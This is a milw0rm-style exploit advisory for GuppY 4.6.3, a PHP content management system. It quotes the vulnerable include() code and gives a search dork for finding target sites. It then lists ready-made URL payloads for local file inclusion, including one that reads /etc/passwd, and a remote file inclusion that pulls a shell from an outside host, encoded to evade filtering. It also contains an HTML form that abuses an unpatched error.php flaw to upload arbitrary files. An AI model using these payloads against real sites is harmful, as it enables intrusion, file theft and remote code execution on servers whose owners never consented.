vuln.: GuppY 4.6.3 (includes.inc selskin) Remote File Inclusion
script info and download: http://www.freeguppy.org/
dork: "Site powered by GuppY"
author: irk4z[at]yahoo.pl
greets to: str0ke, rgod, polish under :*
'-----------------------------------------------------------------------------'
# code:
/tinymsg.php, line 24:
...
24 define("CHEMIN", "");
...
/inc/includes.inc, lines 155-168:
...
155 if (isset($selskin)) {
156 $page[14]=$selskin;
157 }
158
159 if (is_file(CHEMIN."skin/".$page[14]."/skin".INCEXT)) {
160 include(CHEMIN."skin/".$page[14]."/skin".INCEXT);
161 } else {
162 include(CHEMIN."skin/no_skin/skin".INCEXT);
163 }
164 if (is_file(CHEMIN."skin/".$page[14]."/confskin".INCEXT)) {
165 include(CHEMIN."skin/".$page[14]."/confskin".INCEXT);
166 } else {
167 include(CHEMIN."skin/no_skin/confskin".INCEXT);
168 }
...
Local file inclusion on line 160 in $selskin, and I have used code
from:
/inc/boxleft.inc, lines 98-102:
...
98 for($ii=0; $ii<count($xposbox["L"]); $ii++) {
99 if ($userprefs[3] != "R" && $xposbox["L"][$ii] != '') {
100 include(CHEMIN.$xposbox["L"][$ii].INCEXT);
101 $onemenu = 1;
102 }
...
so.. i have remote file inclusion :D
# exploits:
local file inclusion:
http://[HOST]/[PATH]/index.php?selskin=[LFI]%00
http://[HOST]/[PATH]/index.php?selskin=..%2F..%2F..%2F..%2F.%2Fetc%2Fpasswd%00
remote file inclusion:
http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=[RFI]
http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=http:%2F%2Fhost%2Fshell?
^ xposbox[L][] and selskin must be encode because GuppY filtering query..
# another bug:
rgod on 2007-01-29 published local file inclusion in error.php $id variable,
but GuppY authors didn't patch it :( so you can upload file to
http://[HOST]/[PATH]/file/[your uploaded file]
<form name="uploadit" enctype="multipart/form-data" method="post" action="http://[HOST]/[PATH]/error.php?">
<input type="hidden" name="id" value="../../admin/inc/upload" alt="don't change! ;]" />
<input type="hidden" name="pg" value="upload" />
<input type="hidden" name="rep" value="file" />
<input type="file" name="ficup" size="36" />
<input type="hidden" name="OK" value="1" />
<input type="submit" value=" ok " />
</form>
# milw0rm.com [2007-11-03]
